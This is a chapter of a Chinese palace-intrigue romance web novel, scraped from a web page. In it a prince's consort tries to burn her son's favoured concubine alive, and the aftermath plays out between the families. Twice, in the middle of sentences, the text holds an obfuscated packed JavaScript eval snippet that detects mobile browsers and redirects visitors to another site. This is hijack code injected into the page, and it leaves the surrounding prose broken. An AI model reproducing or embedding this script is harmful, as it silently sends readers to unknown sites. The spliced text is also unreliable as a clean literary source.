薛驸马心情很差地回家找他娘,霍巨浪察觉到不对劲,带湘王找他兄长,霍海啸道:“爹已去内廷向太后禀告圣人追尊晏贵妃为温献皇后,我们先和二叔回府。” 百官散尽,太极殿恢复安静,消息传进内廷,相比前朝的暗流涌动,后宫是真平淡,霍太后不在意那在后宫就掀不起风浪:“圣人想追尊就追尊呗,当年晏贵妃病逝时,我就曾以为圣人会追封她为皇后。” 平原大长公主找来,霍太后仍然波澜不惊:“妹妹不服找你皇兄撒娇,找本宫作甚?” “你就能忍吗?你这位继后好好活着,骤然追尊晏贵妃为后,捧出生死俩皇后的笑话,这是在打谁的脸,难道你以为你现在做太后就能免除这种羞辱吗?” “本宫当然替晏姐姐高兴。”霍太后赖洋洋道:“晏姐姐是可怜人,虽然得尽圣人宠爱奈何子息缘薄,她又最喜欢孩子连对我家灵渠都视如己出,如今圣人念起晏姐姐给她这份福报,死后哀荣聊以慰藉,本宫替晏姐姐高兴还来不及,大长公主有心不如去找魏王。” 平原大长公主咬牙甩袖离开,霍太后不屑讥笑,传令备车辇,换身素衣就去太微宫。 凡轰动之事必然传播快,早朝时圣人降下这两道圣谕没到午时便传遍整个官眷,毫不相关的人家都被惊到了,何况是处在此事漩涡最中心的佟家和英王妃佟梦娴,她当场就炸起来,火烧火燎马不停蹄赶回娘家想求侥幸。 可惜现实没有英王妃的祈祷,只有她几近不知所措的残酷,她生的孽障只因为被舅舅管教两句就能害亲舅舅丢官,这还让她怎样面对娘家人啊?! 英王妃只能把姿态放到最低哪怕是低声下气卑躬屈膝,那弟妹多么难堪的辱骂都受着,母亲和弟弟多少要求全都应,只求能让她母亲和大弟让她娘家能稍微消消气。 暂且安抚住娘家,英王妃以神挡佛杀的暴怒赶回英王府,以前所未有的决绝带着众多仆妇冲进蔚然居要将流光姨娘拖来杖毙,更放言蔚然居中哪个奴婢敢阻拦就一同杖毙,这群奴婢的卖身契不在她手中又如何,是王府的奴婢,她这女主人还怕不能杖毙她们吗?! 亏得晏霁之有防备,晏诺抗住高压调护卫们进驻蔚然居保卫;英王妃彻底发狠能杖毙王府中的任何奴婢以及妾室,但王府中的护卫她真管不了,气得她急火攻心,怒火飙涨到极点,满身杀气地下令浇铜油把蔚然居给她烧了! “什么?!” 霍舒窈惊得差点跳起来,狂奔来禀告的眼线急声道:“王妃要烧院,奴婢们谁都劝不了,谁敢劝个字,王妃真能下令将人杖毙,连从前院调来的护卫们都挡不住了。 要是护卫敢再拦,王妃就要往护卫身上泼铜油扔火把、把护卫给活活烧死。王妃说了,她就算管不得护卫还怕不能处死几个小护卫吗? 晏诺护卫长的武功好,想带姨娘冲出府去找世子,可王妃说姨娘敢逃,她就把蔚然居的奴婢们全部杖毙,姨娘…姨娘没办法,只能走进屋里由王妃处置,奴婢跑出府来给您报信时王妃已经派人在正房外浇铜油了。” “疯了,这女人疯了!”霍舒窈急得跳起来,派个人冲回霍家给她二哥报信,她点齐人手带着家里所有护院就杀向英王府,这阵仗惊得她婆婆心肝微颤,不为别的,霍舒窈怀胎刚一个多月还没坐稳胎呢,出点事可怎么办?只能再派人去给她儿子和霍家报信。 午膳的时辰,霍家祖孙三代因上午在谈事便一起用午膳,霍巨浪刚喝了两杯小酒,妹妹和亲家母的报信接踵而至,骇得他手中酒杯都掉了:“英王妃要烧死流光姨娘?” 霍海啸放下筷,二话不说站起来拖着弟弟快步往外走,走出屋交代:“你即刻点五十名护卫冲到英王府务必要救出灵渠,姑母应该还在太微宫陪圣人用午膳,英王等人应该去了皇陵祭拜温献皇后,你让晏琼勋亲自跑皇陵通知晏霁之,我去太微宫找姑母。” “好!”霍巨浪抹把脸,甩开兄长狂奔起来,霍海啸快走过几步后没再忍着也跑起来。 留在饭桌上的三位长辈面面相觑,老太爷就事论事道:“海啸咋看着也不对劲。” “也像舒窈那样中邪啦?”霍漓江调侃,下瞬如箭矢般往外冲,霍老太爷随即拎过拐杖吩咐侍候在屋里的小厮去备马车,穆国公霍秦川犹豫:“爹,我们还没找到线索。” “舒窈的眼线出府时英王妃就派人在浇铜油,现在还能没烧起来?有万分之一的可能,咱都赌不起,如果那真是老爹的宝儿,咋办?”老太爷眼酸道:“造孽的,早知道就不该顾忌,顾忌个屁啊顾忌,咱有怀疑就该直接去见那娃娃,省得老头我现在揪心得七上八下。” 霍秦川扶父亲出屋,定道:“您先走,孩儿布置好最坏的安排就赶过去。” 啥是最坏的安排啊?老太爷听得又揪揪心,由小厮扶着出府,坐进马车里急奔向英王府,他老人家抵达时那府外空地围得人山人海,英王府里冲天的火势燃烧旺盛。 眼线偷跑出府给她报信时英王妃就派人在浇铜油,霍舒窈赶到英王府时蔚然居的正房当然已经烧起来了,甚至她急急跑到时已经有魏王府的护卫在救火,魏王比她早一刻钟赶到,一到就压制住英王妃指挥护卫们打水救火。 她也没心情管魏王为何操心,浇过铜油那么猛的火,火势大得一里地外的人都能看见,护卫们都不能往里冲,还能有救吗?霍舒窈告诫自己忍,念过一百个忍字,忍无可忍不再忍,撸起袖管就找英王妃拼命。 霍巨浪和妹夫即舒窈的丈夫萧耿烨差不多同时赶到,萧耿烨头疼地过去阻拦闹着要和英王妃干架的媳妇,再生气好歹也为肚里的胎儿忍忍。霍巨浪盯着眼前的大火红了眼睛,捏紧拳头让护卫们帮忙打水救火,再派个人去找晏琼勋让他去报信。 传话的护卫很快折返,晏琼勋早已出府,比魏王和霍舒窈的眼线还早行动呢,晏诺跟他商量请他去报信,他没犹豫就答应,更是以八百两加急的速度快马跑到太微宫再转道皇陵,终于赶到皇陵时累得他差点摔下马来。 “二哥,二哥……”晏琼勋半弯腰跌跌撞撞往前跑,这一路狂奔难受得他差点想吐,晏煦之小跑两步上前扶住堂弟,讶异道:“什么事让你急成这样,天塌了?” “没差多少了。”晏琼勋大喘气说:“王妃、王妃要、要烧死流光姨娘。” 晏煦之脸色微变,英王和晏副相众人也愣了愣,晏霁之大步上前扶住庶弟问:“我今早出府前交代过晏诺保护好流光,王妃怎会还能伤到流光?” “挡不住,晏诺调大批护卫都挡不住了。”晏琼勋喘喘气解释:“原本王妃是吩咐杖毙,奴婢们有谁敢阻拦也杖毙,晏诺调护卫们进蔚然居是挡住了;没想到王妃发狠要用火烧,谁要是敢拦,王妃就要往谁身上泼铜油扔火把,把那人烧死。 晏诺要带流光姨娘冲出府避避,王妃就说流光姨娘敢走,她就把蔚然居的奴婢们全部杖毙,那群奴婢的卖身契不在她手里也照样处死,反正是王府的下人她就能处置。她是王妃,她发狠了不在意背几条护卫或奴婢的命,二哥你和爹没在府里还有谁能拦得住?” 晏霁之料想霍灵渠不可能乖乖就范也忍不住忐忑:“你出来时什么情况?” “流光姨娘被赶进屋,王妃派人在屋外浇铜油要准备放火烧,晏诺在想对策搭救。”晏琼勋有点不敢看嫡兄的眼睛,他猜除非天降暴雨否则是不可能再有转机了。 晏霁之收回手臂,沉默几息时间后猛然跑起来,牵过他的马要骑马赶回去,哪想第一次上马竟没成功,他甚至没意识到他的手在抖。 一种害怕的情绪萦绕在他心头,他都多少年没有感受过这种情绪了;他祖父祖母年迈寿终正寝,他不怕,上回害怕还是他姑母病入膏肓药石罔顾时。他再猜想霍灵渠不可能会束手就擒也仍然感觉害怕,屋外被浇满铜油放火烧,她还怎么逃? 晏煦之向大伯和叔公说声就骑马陪堂兄往回奔,晏副相的长子晏坤担忧:“大哥,流光姨娘若是救不回,霁之还能和他亲娘罢休吗?” 英王晏墉估摸:“以佟氏的秉性,即使这回能留余地,他们母子也逃不掉最终决裂。” “真的再难挽回了吗?”晏坤叹息声劝:“终归家和万事兴,能扳正大嫂总是好事。” “二十三年前她为娘家连怀着的亲骨肉都能舍,你大伯母在世时教导她近十年,她非但听不进丝毫还变本加厉,我只怕佟家让她害了我好接管英王府她都能应,我哪还能扳正她。”英王晏墉平静道:“就这么着吧,霁儿对他生母能死心也是好事。” 晏坤眸光微闪,总觉得堂兄意有所指,转念想想骤然感慨,堂兄和已故的伯父伯母能留着这种媳妇恐怕就是料想霁之终究会对亲娘死心,一旦霁之死心,就是英王妃的死期;如此算来那堂嫂确实可笑,为个只会利用她的娘家可劲伤害在给她保命的亲儿子。 微风抚过,马蹄奔腾飞扬阵阵尘土,被尘土迷眼的蚱蜢纵身一跃,轻松没入草丛。 堂兄弟俩策马急奔用最快的速度赶回英王府,隔着大老远看见府前竟有大批禁军把守,近前发现皇帝的銮驾和太后的凤辇居然都在。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459237|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏和之在府门前候着,看到堂兄们急忙迎上前,晏霁之拉着堂弟问:“流光没事吧?” “没事,怪险的,好在有惊无险,晏诺在火势彻底烧旺前避开大伯母偷偷将人救出来,流光姨娘她就躲在霁之哥哥你在蔚然居的书房里。 魏王和霍舒窈带人来救火时大伯母的气焰还很盛,流光姨娘怕又要闹个不休所以没现身,霍家请动陛下和太后都过来了,晏诺才坦白。” 晏和之伸手往府内指指,压低声音说:“晋王和薛驸马这种跑来看热闹的有好几个在,流光姨娘那亲妹妹把佟老太太母女婆媳全打伤了,特别猛,大伯母差点被她咬下块肉。 是霍舒窈帮衬,让所有护卫把大伯母和佟家的奴婢全都挡住,她才能伤到大伯母她们;也是霍家保着,不然大伯母和佟家都要让小厮把她拖下去活活打死了。” 晏霁之点点头,欲往府里去,晏和之拉住堂兄提示:“魏王第一个带人赶到救火,晋王他们认出流光姨娘的亲妹妹是撷芳馆年前自赎的前行首莫欢,陛下和太后在座,他们都瞎嚷哥哥你想姐妹同收乃至头顶已经变绿。还有,陛下传了太医来给流光姨娘切脉查伤。” “知道了,进府吧。” 皇帝和霍太后端坐在英王府前院最大最华丽的客堂,其他人不提,霍家众位和佟家人泾渭分明地站成两派,不过身为霍家媳妇的兴献侯夫人佟梦姿站在娘家人的队伍中。 霍振羽兄妹也在,站在自家这边,如果没有昨天的事,他们八成也会站到佟家那边。霍振羽别提多头痛,他妹妹霍蓁蓁都感觉头疼死了;昨天她娘就没消停过,根本还没缓和又这么火上浇油,她都不知何时能安生了。 晏霁之和堂弟们进屋,一眼扫过屋中众人,发现佟尚书没在,英王妃三姐妹和她们老娘佟老夫人及其长媳鬓发散乱满脸紫青和咬伤是有碍观瞻。 他们上前给皇帝和霍太后请过安,霍老太爷率先提要求:“娃啊,老头我要见流光姨娘,我霍家忙前忙后折腾半天不能连人长啥样都不知。” 虽然还没见到真人,老太爷和霍秦川霍漓江基本也已心中有数,毕竟有活证据在眼前杵着呢,流光姨娘的亲妹妹和霍蓁蓁有四五分相像还能猜不到吗?霍漓江难得难受,霍舒窈吓得差点动胎气,啊呦妈哎,又冒出个做过花魁的妹妹,还能不能好了啊! “今天大家都累了,流光受到惊吓需要静养也不宜会客,况且接下来事多。”晏霁之温和笑道:“三月初一我再带流光向老太爷您磕头致谢,不差这几天的。” 霍老太爷很好说话地答应了,恰时去诊脉的太医返回向皇帝禀告:流光姨娘没有大碍,喝两副安神的汤药调养几日就能养好;霍太后当即拍板:“回宫吧,皇帝,母后随你和海啸过来看半日闹剧早累了,回宫。” 正徽帝嬴忱璧顿时被憋住,只能把想和她说两句话的心思放掉,陪太后回宫。 众人皆恭送出府,禁军护送皇帝和太后远去,魏王即带领他的人策马而去,晋王紧随离开,看热闹的贵胄们和霍家众人相继做散,唯独兴献侯夫人佟梦姿难抉择,儿女们喊她走,小妹拽她留,头疼纠结会儿最终决定陪娘家人留着。 霍巨浪也想再留段要交代但被兄长拉走了,霍海啸给弟弟两字:不急。霍桑柔终于知道那天杀的仇家是谁了,死死咬牙,十多年的恨涌上就怕自己忍不住要冲过去报仇。 皇帝和太后的压制解除,刚跨进英王府的门槛甚至还没走到照壁,英王妃就大怒发作:“来人!把这小贱人给本王妃拖下去杖毙!” 随行的奴婢们犹豫瞧世子爷的神色,霍桑柔也看向这个她曾差点以为是姐姐良配的男人,晏霁之冷脸下令:“晏诺领队护卫送王妃回岚瑟居,除王妃的陪嫁仆婢外,王妃握有的其余卖身契尽数取来待王爷回府交给王爷,品墨品菊带莫欢姑娘去见姨娘。” “你这孽障说什么?”英王妃佟梦娴惊怒呲目,她妹妹顺郡王妃紧接发飙:“霁之你是疯了吗,你没看见你娘和我们被那小贱人伤成什么样了吗?你鬼迷心窍的竟然还就只知道顾着你那小妾,你还有点孝心吗?” “母慈子孝,她又是杖毙又是火烧想要害我的爱妾时可想过我是她的亲儿子吗?” “我要烧死那狐媚子又怎样?”英王妃爆出熏天气焰高声嘶吼:“你个孽障敢不敬亲娘,我连你这孽障都能杖毙,即刻把这小贱人拖下去打死,否则娘要你好看!” 这什么亲娘啊?霍桑柔真觉无语,晏和之听得都冒火要怼呛被晏煦之拉住,晏霁之很平静地挥挥手,晏诺上前扶住英王妃的手臂就拖走,英王妃愣了下才反应过来立时叫嚣咒骂,晏四带队护卫堵住佟家人,下人们见状纷纷垂头甚是乖觉。 顺郡王妃有眼力劲地意识到这大外甥一点没想给他们体面敬重,识趣退缩,她二姐想出头都被她拉住了,佟老夫人忍无可忍叱喝:“霁儿,你眼里还有外祖母吗?!” “没有娘家威逼,英王妃能闹得这么严重吗,你要害死我的爱妾时还有当我是外孙吗?佟梦奭自找的,他爹娘不知道教四十多岁的儿子祸从口出,我只能给他上一课,老太太若想与晏家断亲今日就能断。” 晏霁之下逐客令:“倘若想等英王回府再断亲,我就不招待诸位了,你们自便。” “好、好!”这六旬老太太气得脸红脖子粗,额角青筋直暴,狂怒吼:“好!你等着!”她饱含屈辱地撂下话,怒火汹汹地带儿孙们走。 佟梦佶被气得脑壳疼,这嫡母真是沉浸在自己的构想中迷糊眼了吗?她想得再好,她孙女和外孙女到底都还没有做娘娘呢,还没轮到她能嚣张的份上,只能留着补救。 晏霁之简单敷衍两句送客,品墨品菊俩丫鬟默默走到霍桑柔跟前引路带她去蔚然居,剩余的护卫和仆婢们各回各处,府里闹翻天般折腾半日终于告段落,暂复安静,晏霁之让庶弟回屋休息,他带两位堂弟去他前院的书房歇歇。 半个时辰后,英王晏墉和晏琼勋回来,晏煦之和晏和之告辞离去,晏霁之再回后院。 46. 第46章 日晡温柔的光照映在波纹浅浅的湖面凝聚片碎金,几尾锦鲤撒欢游曳漾起点点安详。 霍灵渠带她妹妹在水榭里相谈,婢女们都避在水榭外候着,晏霁之带朱楼走进水榭,见她眉眼温柔,没有被火烧吓到的心有余悸,淡笑告知:“我已经传令备马车,时候不早了,让笛生和朱楼送人回乌台巷,你们姐妹以后再聚。” “好。”霍灵渠柔声,拉住妹妹的手再叮嘱些家常话,送到水榭前止步;霍桑柔眷恋地抱抱姐姐再随大丫鬟朱楼离开,她们走出视野,霍灵渠还在遥望。 “跟我去书房。” 晏霁之语气平平地留句话就走,霍灵渠落后他半步尾随,两人各自沉默,一路沉默着走进蔚然居的世子书房,女人关住书房门,转身即被抱住,她险些没反应过来。 “你知道有多险吗?”把她抱在怀里狠狠吻通,晏霁之后怕的心才算回落,霍灵渠怪道:“正房的寝屋底下有密道和暗室,火烧起来前我就走密道来书房了能有什么危险?” “密道、暗室?”晏霁之恍然拍脑门:“对啊,我怎么给忘掉我们寝屋里有密道?” “没有能逃生的密道,我会让晏诺拿麻绳将英王妃绑起来。”霍灵渠坦诚想法:“她再张牙舞爪发狠在我眼里也根本没威势,我是没把她放在眼里的。你要是生气我对你娘太放肆,今夜我就回乌台巷,桑柔见到爹爹和那么多家人有好多话和我说呢。” 回应她的是炽热澎湃的缠绵。 晚膳推延至满天星斗时,霍灵渠避在碧纱橱里,一袭新换的水红色绫裙勾勒着魅惑,她脸颊绯红,听着婢女们细微的摆膳声,奴婢们离开就埋怨他,晏霁之振振有词:“我迁就你都在书房里摆膳了。”平日里他尚且甚少会在寝屋摆膳,何况是书房。 霍灵渠自然清楚他这讲究,郁闷横他眼,晏霁之再吻吻她,抱起美人走出碧纱橱。 晚膳清淡,软熘肉片、清蒸桂鱼、山药排骨汤、素炒莴笋丝、春笋片、一品豆腐,简简单单的六道菜肴和两碗清粥。霍灵渠没甚食欲,特意不要米饭而改成粥。 晏霁之给她舀碗排骨汤,哄道:“再嘟嘴,菜要凉了。” 霍灵渠喝口汤,跟他说件事:“书籍和贵重的金玉器物,在浇铜油之前,我就让奴婢们收拢装箱搬入奕风楼了,我们的衣物间在奕风楼,新的寝屋暂且也安排在奕风楼吧。” 两人衣物多,寝屋里放不下,他们的寝屋只放近半月或两旬穿戴的衣裳;蔚然居是座四进院落,烧毁的正房在蔚然居的第二进,奕风楼在第三进,是座五间两层高楼阁。 晏霁之刚应声好,撞门声和尖锐的叫嚷声乱哄哄的从屋外传来,他顿时心情坏掉摔筷,即使这只是被打扰的烦躁;霍灵渠吩咐屋外的婢女取双新筷,哄他平心静气。 他们用过晚膳,婢女们撤掉碗筷,霍灵渠离开书房来到烧焦的废墟前,夜空繁星闪烁着碎宝石的光芒,然而映在别处的美丽星夜景致,划过这片废墟只留吞尽光辉的黑暗。 绿岫领六名小丫鬟提灯笼跟着,看流光姨娘有些呆愣,劝姨娘早些回屋歇息。 耳畔的哄闹声不绝,霍灵渠站定片刻问:“岚瑟居有什么变动吗?” “婢子听闻王爷将岚瑟居的仆婢减掉过半,只留二十名奴婢伺候王妃;大厨房给王妃准备的晚膳有凉拌鸡丝、红烧肉片、清蒸桂鱼、山药排骨汤、银耳鸡蛋、素炒白菜、翠竹报春和银丝花卷。”绿岫抿唇停顿下再道:“总共八道菜肴。” 英王妃的膳食是十二道菜起,大厨房提前备三四日的食谱给她过目,她定下后再安排,若她用膳时突然有想吃而饭桌上没有备的菜色还会临时再添盘,她每餐基本要十二至十五样菜盘,猛降到八道菜几乎等于膳食减半。 霍灵渠垂眸:“大厨房,闹事了?” 可不是闹事那么简单,岚瑟居减掉许多仆婢后王妃就跑来闹过,世子和姨娘没听见而已。绿岫低声禀道:“王妃身边的扈妈妈亲自带人去的大厨房,争执小半时辰才回。 王妃便没胃口改成要盅血燕,大厨房回话,王妃每日定例一盅燕窝,早膳已经备过,再要燕窝得王妃自己掏银两不能走王府的账。王妃气极了,亲自带人去大厨房问话,摔砸损毁好些碗盏和食材又要撤换管事,只是…只是大厨房没有人听从。 回话就是:奴婢们自然敬着王妃,但规矩如此,请王妃莫为难奴婢们。王妃暴怒,又传后院的总管事蔡妈妈,不仅还是那个结果还要清算大厨房被损坏的碗盏和食材,要么请王妃掏银两补给大厨房或者从王妃下月的月银中扣。” 霍灵渠惊讶:“王爷要换成两位少奶奶掌中馈?” 绿岫轻轻摇头:“婢子听说还是由王妃担着名头,管家和两位大管事亲自到岚瑟居回话,府里的奴婢护卫和众姨娘还有哥儿姑娘少奶奶们自然都是敬着王妃的。” 但也只有这敬字,王妃不能再干涉府里任何事;全府几百人都没想过会是这种结果,都知道世子爷宠爱流光姨娘可也没想到世子能为宠妾将矛头对准亲娘,就这么短短几个时辰,下人们之间已经在猜测世子会将流光姨娘扶正。 “院外是在敲门吗?”霍灵渠伸手揉揉太阳穴,绿岫硬着头皮说:“好像,好像是找来堆瓦罐大的重石头在抡着砸门,奴婢们都不敢,是王妃亲自拿石头在砸。” 霍灵渠被气笑了,甩袖往奕风楼走,众丫鬟连忙提灯笼跟上。 斜月弯弯轻轻跃上眉梢,浅浅银辉流连过破损朱门转徙花草深处,静待深夜万籁俱寂。 新寝屋布置摆设与原寝屋相近,橘红挂帘偶尔飘荡撩过琉璃灯盏熏染的温馨更无二致,晏霁之在书柜前粗粗看遍的确还是原来的摆放序列,他取出近期在看的《战国策》,走到床榻前突然想起来:“我送给你的图册是不是被你放任着给烧没了?” 霍灵渠俏脸涨红,比她穿的玫瑰肚兜还艳,她忍羞呵斥:“你能正经点吗?” “你确定要在床笫间跟我谈正经吗?”晏霁之把书卷递给她,掀开锦被躺进被窝,靠在床头把女人揽入怀再接过书卷,提醒道:“要是图册被烧毁了,我再给你补上就是。” “这都什么癖好呀,你就这么热衷给枕边人送春宫图吗?”霍灵渠生气地抢过书卷,晏霁之淡定纠正:“不,我只热衷给你送,等你做贵妃以后我照样能给你送。”话落,他果不其然被打,他抱住女人哀怨:“都怕你走后我夜夜孤枕难眠,容我耍耍嘴皮子怎么了?” 她又何尝愿意进宫?霍灵渠骤然失落,把书卷还给他,晏霁之逗道:“我刚发觉今天这场火有个很大的好处,就是能让我明天乃至后天都名正言顺告假。” 霍灵渠被噎得不上不下,气道:“你还能避几天呀,你还是想想怎么应付你娘吧。” “何需应付?碰见时我令下人们请王妃回岚瑟居即可。”晏霁之搂着她翻开书卷看书,霍灵渠愣了愣,有点触动的仰头看他,他回望,轻佻一笑:“不是你非要闹着缓两个时辰吗?还有半个时辰呢,这么快就又想要我了?” 霍灵渠平静地略过,拉拉锦被靠他怀里闭目养神。 窗外星辰隐没,黑夜在盏盏灯火黯然熄灭的尽头悄然溜走,天际堪堪露出鱼肚白,屋内仍满室灰暗,芙蓉帐里忽然冒出点响动;霍灵渠做梦醒来,想翻身时吵醒枕边人,晏霁之闭眼问怎么了? “我做梦梦见我们的童年,梦见打仗、梦见我带着妹妹在逃难,还梦见有妖魔鬼怪,我自己也不知道乱七八糟得都在梦什么,然后就醒了。”霍灵渠喃喃低语,说着说着就睡着了,晏霁之抱她侧卧,亦很快睡着,春宵半宿,俩人困着呢。 旭日初升,明亮的光线还阻隔在厚厚云端之上,寝屋门外响起禀告,还是昨晚的事。 虽然离得远但隐隐约约仍然能听到传过来的响动吵闹声,霍灵渠睡意朦胧受影响小,往男人怀里挤挤就继续睡;晏霁之睡眠浅,即使入睡也会被吵醒,反复被吵醒几回后他烦了,干脆抱起霍灵渠彻底酣畅淋漓番,沐浴之后顺利睡回笼觉。 午后明媚的阳光将庭院照耀得朝气焕然,清雅的紫玉兰花香追逐阳光的轨迹芬芳点缀,盎然春意多灿烂,自然而然落就片惬意。 二楼阳台,婢女们搬来罗汉床放好再摆好茶点瓜果后退下,晏霁之抱美人躺靠在紫檀木罗汉床里晒太阳;霍灵渠鸦青的秀发用银丝带挽着,一袭素净长裙压不住的媚,她捧起矮几上的白瓷蛊喝燕窝银耳汤,莫名有种偷得浮生半日闲的舒服。 “今早你睡得不好,这两夜睡前你都喝碗安神汤吧。”晏霁之执酒壶倒杯葡萄酒喝,霍灵渠随意嗯声,喝过几口燕窝银耳汤后放掉白瓷盅,专注晒太阳。 “昨晚我备了致谢的礼单,今早箫生已经把谢礼送给魏王、舒窈和霍家,霍家又给你送来许多补品,就这几天你肯定吃不完。不如挑一点留下,其余补品转送给你妹妹。” 霍灵渠点头:“好呀。”她倒也想起件事:“王妃的膳食和仆婢都减了,衣裳首饰各个方面恐怕也要减,王妃回娘家了,事情就要传出府。她是你生母就永远占着舆论优势,不恢复她的用度,你若不减用度就不合适。”劝他道:“你也减减用度吧,哪怕只是做做样。” 晏霁之置若罔闻,倒杯葡萄酒递给她:“我亲自酿的,尝尝。” “你酿的酒?”霍灵渠讶然:“你种葡萄啦?” “……”就像全然没准备的意外之喜,晏霁之惊喜得甚至有些不可思议:“你、你怎么联系起来的,因为我酿葡萄酒所以我就在种葡萄吗?你这逻辑未免匪夷所思吧?” “毕竟四年多,我的重心都是你。”真正是已经八年多,也是他自己告诉她的。曾经他们搬到城郊的竹屋生活,竹屋后的橘树是他亲自栽种,橘树结出橘子,他酿过甜橘酒。 酿酒前她劝他想喝橘酒可以去酒庄买,他说他若只想喝酒何必自己酿?霍灵渠揣摩措辞:“术业有专攻,你又不是酿酒匠,你自己酿的酒能与最上品的美酒比吗? 如果只是图喝酒,你那么挑剔怎么可能自己酿酒喝?若为兴趣,你有兴趣酿葡萄酒还能没兴趣种葡萄吗?若是因为兴趣想酿酒,你能看得中谁种的葡萄?不是你自己种的,再好的葡萄都能被你挑出刺来,那就是败坏你的兴致,你还能有心情酿酒才怪。” 晏霁之哈哈笑,抱紧她好一通热吻,暧昧道:“我现在特别想带你回屋怎么办?” “你自己回,我要晒太阳。”霍灵渠饮尽这杯葡萄酒,给他降降火:“我猜你爹是想等你娶媳妇以后把中馈交给世子妃打理,你也该考虑娶媳妇的事了;按你的挑剔劲儿,你找媳妇可能真得挑个一两年,不宜再拖。” 这女人绝对故意的!晏霁之差点想咬她,冷脸放开她,自顾靠在紫檀木罗汉床里喝酒。霍灵渠挽住他的手臂,娇笑闲侃:“你怎么会想种葡萄,说说嘛。” 被催促两遍,晏霁之嫌烦得扔给她一个让她惭愧的答案:“养你啊。” “种葡萄就能养得起我,种葡萄很有赚头吗?”霍灵渠眼眸亮晶晶的,没有任何惭愧或者说没觉得养她二字是让她羞愧,有点兴趣问:“你种葡萄一年能赚多少银两?” 晏霁之冒出个神奇的猜测:“你想做甚?” “如果种葡萄赚头不错,将来出宫以后我也可以以种葡萄为营生。”霍灵渠给出答案,神奇的猜测成真让晏霁之差点想捂脸,她可真有想法;这有想法的女人还在规划:“葡萄是从西域传入的,就是说在西北边陲种葡萄最好,你的葡萄种植在哪里呀?” “是在西北。”晏霁之再喝杯酒压惊,霍灵渠追问:“一年能挣多少银两?” 晏霁之比出一只手,霍灵渠考虑道:“你种多少亩呀?” 怕她真来劲儿要研究怎么种葡萄,晏霁之哭笑不得搂着她哄:“好了,别再异想天开,你真感兴趣,将来我带你去西北看我们的葡萄园。” 霍灵渠没听出‘我们的葡萄园’这深意,自嘲道:“我知道谋生计很难,你觉得我在异想天开,可我若不自谋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459238|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生计将来何以为生?难道我还能靠别人养到老死吗?” 晏霁之陷入沉默,过半响,他试探着表露心迹:“如果我愿意养你终老?” “我年老色衰时你不会再这么想的。”霍灵渠平静地捧起白瓷盅喝燕窝银耳汤,仿佛她只是在陈述个再寻常不过的现实,一如闲谈此刻天朗气清阳光明媚,这甚至就不是种质疑,几乎不可能用言语突破,晏霁之不爽:“你进宫时给你带笔银两走如何?” “好呀。”霍灵渠很爽利,晏霁之反而讶异:“你真敢做贵妃以后还用我的银两?” “在这世间哪里不需要银钱,钱财怎会是身外物?我祖父就最喜欢金元宝,我也喜欢,你愿意给我真金白银,我为何不拿?”霍灵渠提个现实:“你我之间再避讳也撇不清的。” 晏霁之自然察觉她的感伤,避重就轻道:“你祖父没志气,换我,我就喜欢金砖。” 霍灵渠一噎,旋即笑了,抬手抚抚他的脸颊,劝道:“我和你说正经的,出京做地方官对你对晏家都更好,不要接吏部侍郎之职,远远地离开京畿吧。” “你以为太上皇为何突然追尊温献皇后?”晏霁之握住她的柔荑,感慨道:“唉,我竟然大意地忽视掉圣人的态度。皇帝纵容、霍家愿意使出强抢后位计策的根源是圣人,因为相比圣人,皇帝和霍家站在同个阵营。 朝堂只有生变,他们才有机会把圣人手中的权柄拿走,而这是圣人不能容忍的,所以他要把局面压死,让贵妃无论选谁都变成死局。” 霍灵渠困惑皱眉:“霍家要抢后位不是对皇帝的羞辱吗,怎么又变成在同个阵营?” “是羞辱也在同阵营,两者并不矛盾。”晏霁之再倒杯葡萄酒喝,温声解析:“是羞辱,所以除非皇帝做傀儡否则不会容忍,但皇帝和霍家清算的提前是把大权拿到手,这份权柄在太上皇手中;那么面对太上皇,他们当然在同个阵营。” “所以圣人追尊温献皇后是想把晏家拉进他的阵营中?”曾经太上皇心心念念的可是把晏家连根拔起呢,真是已如隔世,霍灵渠恍然:“圣人想利用晏家对付霍家?” “对,皇帝的一品妃位全部悬空,圣人把晏家拉入局中,皇帝即使册封霍灵渠做贵妃,圣人可捧出位晏娘娘,整个局势牵一发而动全身,谁都不敢妄动,朝局能轻易按圣人的意愿再次变成死局,因为其中又有交错的阵营。” 晏霁之猛然凝重,语调沉沉道:“圣人和陛下相互对立的同时又站在同阵营中,他们都绝不会允许再出现位如当年我曾祖那般的权臣将皇权架空把皇帝变成傀儡。 因此他们父子为争权而缠斗之际可能还会一致决定趁机摧毁掉晏家和霍家百年基业,即使能保全到圣人与陛下分出胜负,等来的恐怕都是鸟尽弓藏、家族被彻底覆灭。” “前晚你说的唇亡齿寒?”霍灵渠刹那间领悟,晏霁之点头:“对!” “圣人既然要权柄还为何要禅位,当年他禅位到底图什么呀,好玩吗?”霍灵渠烦躁,晏霁之失笑亲亲她,安抚道:“自然还是为权柄,他禅位自然有他不得不禅位的考量。” “胡话,他禅位做太上皇都还紧紧握着朝堂的大权,他做皇帝时谁还能抢他的权柄?” “或许正是因为圣人禅位才得以保障他能一直掌控朝局,倘若他没有禅位?”晏霁之弯弯唇,笑意幽幽:“我有个猜测,即使是很小的可能,但有这种可能,他就不得不考量担忧,因为圣人赌不起也不敢赌,所以必须做出变动。” 霍灵渠古怪:“什么可能?” 